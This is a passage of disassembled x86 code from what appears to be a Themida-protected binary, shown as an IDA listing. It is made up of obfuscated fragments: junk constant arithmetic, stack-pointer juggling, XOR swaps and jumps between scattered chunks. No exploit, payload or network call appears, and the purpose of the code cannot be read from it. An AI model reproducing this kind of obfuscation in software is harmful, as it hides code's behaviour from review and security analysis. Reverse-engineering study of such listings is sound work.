loc_5585A5:				; CODE XREF: sub_5584F8-2095j
		pop	ebx
		add	ebx, 4
		jmp	loc_551B97
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5585B1:				; CODE XREF: sub_556A70+3ABEj
		pop	eax
		sub	ebp, 6802369Ch
		add	ebp, 69553AD8h
		jmp	loc_556426
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559B2A


loc_5585C3:				; CODE XREF: sub_559B2A+14j
		pop	edx
		add	edi, ebx
		push	[esp+4+var_4]
		jmp	loc_551E81
; END OF FUNCTION CHUNK	FOR sub_559B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_5585CE:				; CODE XREF: sub_553651+69E9j
		push	esp
		pop	ecx
		add	ecx, 4
		push	32A5h
		mov	[esp+0Ch+var_C], esi
		push	eax
		push	23CB0614h
		pop	eax
		shl	eax, 5
		xor	eax, 4FF99005h
		push	edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		pop	eax
		shl	esi, 4
		inc	esi
		add	esi, 966AD7B3h
		add	ecx, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		pop	esp
		push	ecx
		push	edi
		mov	edi, 1D6E757Eh
		mov	ecx, edi
		pop	edi
		add	eax, ecx
		pop	ecx
		jmp	loc_551CE3
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------


loc_558625:				; CODE XREF: Themida_:005555A9j
		push	edi
		mov	edi, 5FB05FDCh
		mov	edx, edi
		pop	edi
		shr	edx, 3
		and	edx, 100C0473h
		add	edx, 1
		neg	edx
		jmp	loc_555858
; ---------------------------------------------------------------------------


loc_558641:				; CODE XREF: Themida_:00557C5Bj
		add	ebx, 0CD631432h
		add	edx, ebx
		pop	ebx
		jmp	loc_555709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55864F:				; CODE XREF: sub_556A70+DCj
		mov	edi, 35E366AFh
		push	eax
		mov	eax, 22085CFFh
		or	edi, eax
		pop	eax
		neg	edi
		jmp	loc_55CAA8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	1E2Fh
		jmp	loc_55C767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558673:				; CODE XREF: sub_556A70+471Bj
		add	ebx, 47FB37A2h
		jmp	sub_550BFD
; ---------------------------------------------------------------------------


loc_55867E:				; CODE XREF: sub_556A70+51CFj
		and	eax, 0EF06814h
		neg	eax
		inc	eax
		sub	eax, 0FD6FDFF9h
		sub	edi, eax
		jmp	loc_55AB94
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_558692:				; CODE XREF: sub_559F87-1612j
		sub	ebx, 4FDD5675h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		pop	esp
		add	al, bl
		add	al, 6Eh
		sub	esp, 4
		mov	[esp+0], ecx
		push	536Ah
		mov	[esp+0], edx
		mov	dl, 0BAh
		jmp	loc_557E84
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_5586B8:				; CODE XREF: sub_554299+6j
		or	ebp, 4AE9328Eh
		add	ebp, 570F46D7h
		neg	ebp
		jmp	loc_55C5F0
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------


loc_5586CB:				; CODE XREF: Themida_:0055C971j
		add	ebp, esi
		add	ebp, 64903E5Bh
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		push	1DBCh
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	edx
		mov	edx, 4BF159B3h
		xor	edx, 78C01204h
		neg	edx
		xor	edx, 0CCCEB44Bh
		add	ebp, edx
		pop	edx
		push	4B9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	2F4Ah
		mov	[esp], ebp
		jmp	loc_55CD07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55874B:				; CODE XREF: sub_556A70-1EE1j
		sub	ebx, 156377BDh
		add	ebx, edi
		jmp	loc_553BE9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558758:				; CODE XREF: Themida_:0055B3B9j
		add	ch, 0C2h
		push	small 5111h
		mov	[esp], ax
		mov	ah, 0D5h
		xor	ch, ah
		pop	ax
		neg	ch
		push	edx
		jmp	loc_551383
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558771:				; CODE XREF: sub_556A70+5109j
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_554E4F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55877E:				; CODE XREF: Themida_:0055B14Ej
		btr	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_558789:				; CODE XREF: sub_5584F8+1447j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_558C43
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_558794:				; CODE XREF: Themida_:00553EF0j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	4
		pop	ecx
		sub	esi, 6C336D6Ch
		jmp	loc_5517FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_5587AF:				; CODE XREF: sub_5539DB+9164j
		pop	ebx
		sub	ebx, 15D00457h
		push	ebx
		pop	esi
		pop	ebx
		xor	esi, 0D610C28h
		sub	esi, 67EF4FD8h
		dec	esi
		push	ebx
		mov	ebx, 205223C2h
		shl	ebx, 8
		inc	ebx
		shl	ebx, 7
		or	ebx, 158A40E4h
		xor	ebx, 0A33FF33Bh
		xor	esi, ebx
		pop	ebx
		jmp	loc_551CB8
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------


loc_5587E7:				; CODE XREF: Themida_:0055937Fj
		push	eax
		mov	eax, 690D09ACh
		mov	edi, eax
		pop	eax
		jmp	loc_5599FD
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	esi
		jmp	loc_55B207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558805:				; CODE XREF: sub_556A70-1030j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55880A:				; CODE XREF: Themida_:00554626j
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_553506
; ---------------------------------------------------------------------------


loc_558819:				; CODE XREF: Themida_:00558547j
		pop	esi
		jmp	near ptr unk_551C43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_55881F:				; CODE XREF: sub_553B16-469j
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	edx, edx
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		push	ebp
		mov	ebp, 448D6DCDh
		sub	[esp+arg_0], 50A97A7Eh
		jmp	loc_55A84A
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
		push	6248h
		push	3C71h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_553925
; ---------------------------------------------------------------------------


loc_55885F:				; CODE XREF: Themida_:00555986j
		mov	edx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_55AA4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55886D:				; CODE XREF: sub_556A70-5545j
		sub	ch, 8Ah
		xor	ch, 96h
		not	ch
		and	ch, 0FEh
		jmp	sub_553E75
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CC90


loc_55887D:				; CODE XREF: sub_55CC90-A3F2j
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	ecx
		push	eax
		mov	eax, 7F510D17h
		jmp	sub_552634
; END OF FUNCTION CHUNK	FOR sub_55CC90
; ---------------------------------------------------------------------------


loc_5588BC:				; CODE XREF: Themida_:0055822Cj
		neg	edx
		xor	edx, 41DB669Ah
		xor	edx, 55576E36h
		jmp	loc_55CE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5588CF:				; CODE XREF: sub_556A70+A82j
		or	edi, 39B44324h
		shl	edi, 4
		xor	edi, 9199CFF0h
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		mov	ebx, [esp-0Eh+arg_8+2]
		jmp	loc_5544D9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_5588EB:				; CODE XREF: sub_55AA5F-6D76j
		xchg	edi, [esp+0]
		jmp	loc_550E79
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5588F3:				; CODE XREF: sub_556A70+50Aj
		add	ebx, 4
		xchg	ebx, [esp-10h+arg_C]
		pop	esp
		dec	ebx
		jmp	loc_550B27
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55292B


loc_558903:				; CODE XREF: sub_55292B+14j
		mov	dl, bl
		jmp	loc_55799E
; END OF FUNCTION CHUNK	FOR sub_55292B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55890A:				; CODE XREF: sub_556A70+3653j
		mov	eax, 0
		add	eax, ebx
		push	edx
		push	eax
		mov	eax, 0
		mov	edx, eax
		jmp	loc_556265
; ---------------------------------------------------------------------------


loc_55891F:				; CODE XREF: sub_556A70+2FB8j
		pop	edx
		pop	ebx
		jmp	loc_5561BC
; ---------------------------------------------------------------------------


loc_558926:				; CODE XREF: sub_556A70+F21j
		push	esi
		mov	esi, 74513D0Dh
		push	edi
		jmp	loc_551F5D
; ---------------------------------------------------------------------------


loc_558932:				; CODE XREF: sub_556A70+4FC6j
		add	edx, eax
		pop	eax
		mov	esi, edx
		pop	edx
		sub	eax, 2123801h
		sub	eax, esi
		add	eax, 2123801h
		mov	esi, [esp+18h+var_18]
		jmp	loc_55508E
; ---------------------------------------------------------------------------


loc_55894C:				; CODE XREF: sub_556A70-3A89j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_558958:				; CODE XREF: sub_556A70+37CBj
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 4
		sub	eax, 1BE040E6h
		add	eax, edi
		jmp	loc_55C9CB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_55896C:				; CODE XREF: sub_559F87+Cj
		shr	ebx, 2
		or	ebx, 4FDD5677h
		jmp	loc_558692
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55897A:				; CODE XREF: sub_5584F8-77E1j
		push	4914h
		mov	[esp+8+var_8], ebx
		pop	edx
		pop	ebx
		mov	eax, edx
		pop	edx
		push	[esp-4+arg_0]
		pop	ebp
		jmp	loc_5556F4
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_558990:				; CODE XREF: Themida_:00557CB7j
		mov	esi, esp
		jmp	loc_555B37
; ---------------------------------------------------------------------------


loc_558997:				; CODE XREF: Themida_:005548E3j
		mov	ebx, 599C79D8h
		xor	ebx, esi
		pop	esi
		add	eax, ebx
		jmp	loc_5591CC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	0C25h
		mov	[esp], esp
		push	edx
		push	edi
		push	474577EBh
		pop	edi
		add	edi, 2E2936CDh
		jmp	loc_553E37
; ---------------------------------------------------------------------------


loc_5589C6:				; CODE XREF: Themida_:0055AD1Fj
		pop	ebx
		push	62DAh
		mov	[esp], edi
		push	edx
		push	5C5C2700h
		jmp	loc_55A240
; ---------------------------------------------------------------------------


loc_5589DA:				; CODE XREF: Themida_:0055B968j
		push	eax
		mov	eax, 69954E56h
		shr	eax, 7
		jmp	loc_557D9C
; ---------------------------------------------------------------------------


loc_5589E8:				; CODE XREF: Themida_:0055B84Aj
		pop	edi
		add	ebp, esi
		push	eax
		mov	eax, 4AD74A00h
		sub	ebp, eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5564DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_558A07:				; CODE XREF: sub_55A748+19j
		sub	dh, 7
		xor	bh, dh
		mov	edx, [esp+4+var_4]
		jmp	loc_5545E7
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558A14:				; CODE XREF: sub_556A70-424Fj
		add	edx, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edx
		xor	edx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		jmp	loc_5539B4
; ---------------------------------------------------------------------------


loc_558A39:				; CODE XREF: sub_556A70-6FEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-16h+arg_10+2]
		pop	esp
		mov	[esp-1Ah+arg_14+2], eax
		push	5D25h
		mov	[esp-16h+arg_10+2], edx
		push	edi
		mov	edi, 5DA10806h
		jmp	loc_55805B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558A5C:				; CODE XREF: Themida_:00559BADj
		add	edi, 0FFFFFFFFh
		sub	edi, 751511BDh
		push	esi
		mov	esi, 4C2D6D4Ah
		jmp	loc_55BF40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558A73:				; CODE XREF: sub_556A70+4C0j
		sub	ebx, 61004Ah
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5569A8
; ---------------------------------------------------------------------------


loc_558A87:				; CODE XREF: sub_556A70+331j
		add	bl, 3Eh
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_551662
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_558A95:				; CODE XREF: sub_5566B9-1D2Fj
		add	ecx, edx
		pop	edx
		and	eax, ecx
		pop	ecx
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	ecx
		mov	ecx, 37502797h
		sub	[esp+10h+var_C], ecx
		pop	ecx
		pop	eax
		push	3FF5h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 37502797h
		push	ebp
		mov	ebp, 56721FCAh
		inc	ebp
		xor	ebp, 3A1442D3h
		add	eax, ebp
		jmp	loc_55B1EF
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_558AD3:				; CODE XREF: Themida_:0055C97Fj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5528AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558AE3:				; CODE XREF: sub_556A70-FECj
		or	[edi+1Ch], edx
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_558AE7	proc near		; CODE XREF: sub_556A70-52Ej

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00554A45 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00555830 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558166 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055CA8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055CF56 SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_558166
sub_558AE7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558AF2:				; CODE XREF: sub_556A70+384Cj
		pop	ebx
		push	edx
		mov	edx, 705259E6h
		xor	ecx, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5541C3
; ---------------------------------------------------------------------------


loc_558B06:				; CODE XREF: sub_556A70+35D3j
		mov	esi, 2
		add	edx, esi
		pop	esi
		push	edx
		push	[esp-10h+arg_10]
		pop	edx
		jmp	loc_55925A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558B19:				; CODE XREF: Themida_:00559EB1j
		sub	al, bh
		jmp	loc_55C4F3
; ---------------------------------------------------------------------------


loc_558B20:				; CODE XREF: Themida_:00554276j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555A45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558B3D:				; CODE XREF: sub_556A70-17EAj
		pop	esp
		mov	[esp+4+var_4], eax
		push	ebx
		mov	ebx, 7AFC1C5Ch
		mov	eax, ebx
		pop	ebx
		sub	[esp+4], eax
		pop	eax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_558B54:				; CODE XREF: sub_556A70+21BEj
		add	esi, 4
		add	esi, 4
		jmp	loc_558EB2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_558B65:				; CODE XREF: sub_5567EA-1206j
		and	eax, ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_55C842
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------


loc_558B72:				; CODE XREF: Themida_:0055CC39j
		not	edx
		push	edx
		push	ecx
		pop	edx
		pop	ecx
		jmp	loc_555E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556769


loc_558B7D:				; CODE XREF: sub_556769-2FB7j
		pop	ebx
		sub	ebp, edi
		sub	ebp, 34A83382h
		pop	edi
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		dec	[esp-8+arg_4]
		pushf
		jmp	loc_55BE98
; END OF FUNCTION CHUNK	FOR sub_556769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558B99:				; CODE XREF: sub_556A70-4DF0j
		sub	ecx, esi
		jmp	loc_55B4ED
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558BA0:				; CODE XREF: Themida_:005569CBj
		sub	al, bl
		push	57E3h
		mov	[esp], ebx
		mov	bh, 93h
		xor	bh, 2Dh
		jmp	loc_553621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_558BB4:				; CODE XREF: sub_552B74+701j
		sub	edi, edx
		add	edi, 12747E6Dh
		mov	edx, [esp+8+var_8]
		add	esp, 4
		sub	edi, 4BD13409h
		push	ebx
		mov	ebx, 2038562Fh
		and	ebx, 301D3252h
		and	ebx, 0F826CBFh
		sub	ebx, 0ADA19B34h
		jmp	loc_552384
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558BE5:				; CODE XREF: sub_556A70-36D8j
		push	edx
		mov	dl, 0FCh
		xor	bl, dl
		pop	edx
		add	bl, 6Ch
		jmp	sub_55292B
; ---------------------------------------------------------------------------


loc_558BF3:				; CODE XREF: sub_556A70+28Ej
		mov	[esp-8+arg_4], ebp
		push	[esp-8+arg_8]
		pop	ebp
		pop	[esp-8+arg_4]
		pop	esp
		mov	[esp-10h+arg_C], edx
		push	eax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558C09:				; CODE XREF: Themida_:005582F5j
		mov	[esp], edx
		mov	dh, 0B3h
		jmp	loc_55C99C
; ---------------------------------------------------------------------------


loc_558C13:				; CODE XREF: Themida_:005551F2j
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_558C18:				; CODE XREF: sub_5516F8+3B50j
		add	edi, 786757B1h
		add	edi, ecx
		sub	edi, 786757B1h
		jmp	loc_55AFE2
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558C2B:				; CODE XREF: sub_556A70-4D61j
		push	esi
		push	esp
		pop	esi
		jmp	loc_558B54
; ---------------------------------------------------------------------------


loc_558C33:				; CODE XREF: sub_556A70+160Bj
		mov	esp, [esp-8+arg_4]
		movsx	ecx, al
		push	0CC8h
		jmp	loc_558567
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_558C43:				; CODE XREF: sub_5584F8+297j
		pop	dword ptr [esp+0]
		jmp	loc_55B305
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_558C4B:				; CODE XREF: Themida_:005533B7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_558C5B:				; CODE XREF: Themida_:0055A8F7j
		add	eax, edx
		sub	eax, 2A525CFBh
		pop	edx
		push	ecx
		mov	ecx, 49081FF3h
		shr	ecx, 7
		shl	ecx, 2
		push	esi
		mov	esi, 1A0A6507h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_559378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558C86:				; CODE XREF: sub_556A70-1CDEj
		add	esp, 4
		push	edi
		mov	edi, esp
		push	6965h
		mov	[esp-0Eh+arg_8+2], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_55A015
; ---------------------------------------------------------------------------


loc_558CB2:				; CODE XREF: sub_556A70-39D7j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	2A77h
		mov	[esp+18h+var_18], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xor	esi, [esp+14h+var_14]
		xor	[esp+14h+var_14], esi
		xor	esi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_556C91
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558CE5:				; CODE XREF: Themida_:00553512j
		mov	ebx, 2F592974h
		not	ebx
		sub	ebx, 0D0A6D687h
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		jmp	loc_555743
; ---------------------------------------------------------------------------


loc_558D07:				; CODE XREF: Themida_:0055AE63j
		inc	cl
		jmp	loc_554D62

; =============== S U B	R O U T	I N E =======================================



sub_558D0E	proc near		; CODE XREF: sub_55A6CD+2710j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055133C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552FC6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055848B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055B639 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055CAEE SIZE 0000001E BYTES

		push	ebx
		mov	ebx, 76A70431h
		push	edx
		push	ebp
		mov	ebp, 7ADD44B5h
		or	ebp, 62060534h
		jmp	loc_55CAEE
sub_558D0E	endp

; ---------------------------------------------------------------------------


loc_558D26:				; CODE XREF: Themida_:00556111j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_557F80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558D2F:				; CODE XREF: sub_556A70-516Aj
		pop	ecx
		shr	eax, 0Ah
		jmp	loc_55A1B1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558D38:				; CODE XREF: Themida_:0055B72Bj
		mov	edi, 7D864946h
		push	ecx
		mov	ecx, 18F255A3h
		add	ecx, 509504D4h
		neg	ecx
		and	ecx, 3BFA30E0h
		jmp	loc_5526E1
; ---------------------------------------------------------------------------


loc_558D56:				; CODE XREF: Themida_:00557FEEj
		pop	esp
		mov	dx, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1BD628DFh
		shl	edi, 6
		jmp	loc_553A4D
; ---------------------------------------------------------------------------


loc_558D71:				; CODE XREF: Themida_:005516F3j
		mov	ecx, 446D111Fh
		sub	ecx, 5F8E792Eh
		and	ecx, 16F23556h
		xor	ecx, 4D21554h
		sub	esi, 55424A21h
		add	esi, ecx
		jmp	loc_559955
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5593DF
; ---------------------------------------------------------------------------


loc_558D9B:				; CODE XREF: Themida_:0055B513j
		xor	bl, 0FEh
		push	edx
		mov	dh, bl
		mov	al, dh
		jmp	loc_55B044
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558DA8:				; CODE XREF: sub_556A70-E91j
		xor	[esp-26h+arg_20+2], eax
		jmp	loc_552059
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55699F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_558DB9:				; CODE XREF: sub_5584F8+23DBj
		dec	edx
		xor	edx, 548A660Bh
		mov	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 26816CCCh
		shr	ebx, 7
		add	ebx, 259B2491h
		jmp	loc_55CFA6
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_558DD7:				; CODE XREF: Themida_:00555634j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_551F88
; ---------------------------------------------------------------------------


loc_558DF5:				; CODE XREF: Themida_:005541DDj
		push	small 0
		jmp	loc_55BEA4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	6925h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_554C1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558E19:				; CODE XREF: sub_556A70-3E29j
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5539CF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_556656
; ---------------------------------------------------------------------------


loc_558E31:				; CODE XREF: Themida_:00556477j
		mov	edx, 2
		sub	ebp, 46065F5Fh
		add	ebp, edx
		push	eax
		mov	eax, 29623125h
		jmp	loc_5537FB
; ---------------------------------------------------------------------------


loc_558E49:				; CODE XREF: Themida_:0055AB1Dj
		inc	ecx
		neg	ecx
		jmp	loc_55A83F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558E51:				; CODE XREF: sub_556A70+1A9Ej
		xor	ecx, ebx
		pop	ebx
		sub	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 0BFF7A37Dh
		add	eax, 3B47725Fh
		jmp	loc_55A81F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_558E76:				; CODE XREF: Themida_:0055CFA1j
		add	dl, 47h
		sub	bl, dl
		pop	edx
		xor	dh, bl
		jmp	loc_554A64
; ---------------------------------------------------------------------------
